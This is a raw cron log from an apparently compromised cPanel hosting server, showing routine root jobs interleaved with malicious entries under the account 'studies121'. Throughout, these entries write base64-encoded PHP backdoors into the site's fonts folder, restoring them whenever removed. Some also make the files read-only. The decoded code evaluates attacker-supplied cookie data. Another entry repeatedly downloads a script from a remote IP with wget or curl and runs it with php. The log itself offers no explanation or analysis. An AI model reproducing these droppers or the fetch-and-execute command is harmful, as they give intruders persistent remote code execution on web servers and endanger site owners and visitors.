Sep  8 11:03:01 ip-184-168-122-23 CROND[6051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:03:01 ip-184-168-122-23 CROND[6052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:03:01 ip-184-168-122-23 CROND[6053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:04:01 ip-184-168-122-23 CROND[6205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:04:01 ip-184-168-122-23 CROND[6209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:04:01 ip-184-168-122-23 CROND[6206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:04:01 ip-184-168-122-23 CROND[6208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:04:01 ip-184-168-122-23 CROND[6207]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:05:01 ip-184-168-122-23 CROND[6351]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:05:01 ip-184-168-122-23 CROND[6350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:05:01 ip-184-168-122-23 CROND[6352]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 11:05:01 ip-184-168-122-23 CROND[6355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:05:01 ip-184-168-122-23 CROND[6358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:05:01 ip-184-168-122-23 CROND[6359]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:05:01 ip-184-168-122-23 CROND[6357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:06:01 ip-184-168-122-23 CROND[6486]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:06:01 ip-184-168-122-23 CROND[6485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:06:01 ip-184-168-122-23 CROND[6490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:06:01 ip-184-168-122-23 CROND[6489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:06:01 ip-184-168-122-23 CROND[6491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:07:01 ip-184-168-122-23 CROND[6703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:07:01 ip-184-168-122-23 CROND[6705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:07:01 ip-184-168-122-23 CROND[6709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:07:01 ip-184-168-122-23 CROND[6708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:08:01 ip-184-168-122-23 CROND[6811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:08:01 ip-184-168-122-23 CROND[6813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:08:01 ip-184-168-122-23 CROND[6816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:08:01 ip-184-168-122-23 CROND[6819]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:08:01 ip-184-168-122-23 CROND[6820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:09:01 ip-184-168-122-23 CROND[6927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:09:01 ip-184-168-122-23 CROND[6928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:09:01 ip-184-168-122-23 CROND[6931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:09:01 ip-184-168-122-23 CROND[6932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:09:01 ip-184-168-122-23 CROND[6933]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 11:10:01 ip-184-168-122-23 CROND[7093]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:10:01 ip-184-168-122-23 CROND[7094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:10:01 ip-184-168-122-23 CROND[7096]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 11:10:01 ip-184-168-122-23 CROND[7099]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:10:01 ip-184-168-122-23 CROND[7098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:10:01 ip-184-168-122-23 CROND[7102]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:10:01 ip-184-168-122-23 CROND[7103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:10:01 ip-184-168-122-23 CROND[7105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:11:01 ip-184-168-122-23 CROND[7220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:11:01 ip-184-168-122-23 CROND[7222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:11:01 ip-184-168-122-23 CROND[7223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:11:01 ip-184-168-122-23 CROND[7228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:12:01 ip-184-168-122-23 CROND[7318]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:12:01 ip-184-168-122-23 CROND[7320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:12:01 ip-184-168-122-23 CROND[7322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:12:01 ip-184-168-122-23 CROND[7323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:12:01 ip-184-168-122-23 CROND[7325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:13:01 ip-184-168-122-23 CROND[7451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:13:01 ip-184-168-122-23 CROND[7452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:13:01 ip-184-168-122-23 CROND[7453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:13:01 ip-184-168-122-23 CROND[7455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:14:01 ip-184-168-122-23 CROND[7645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:14:01 ip-184-168-122-23 CROND[7647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:14:01 ip-184-168-122-23 CROND[7649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:14:01 ip-184-168-122-23 CROND[7648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:14:01 ip-184-168-122-23 CROND[7653]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:15:01 ip-184-168-122-23 CROND[7780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:15:01 ip-184-168-122-23 CROND[7782]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
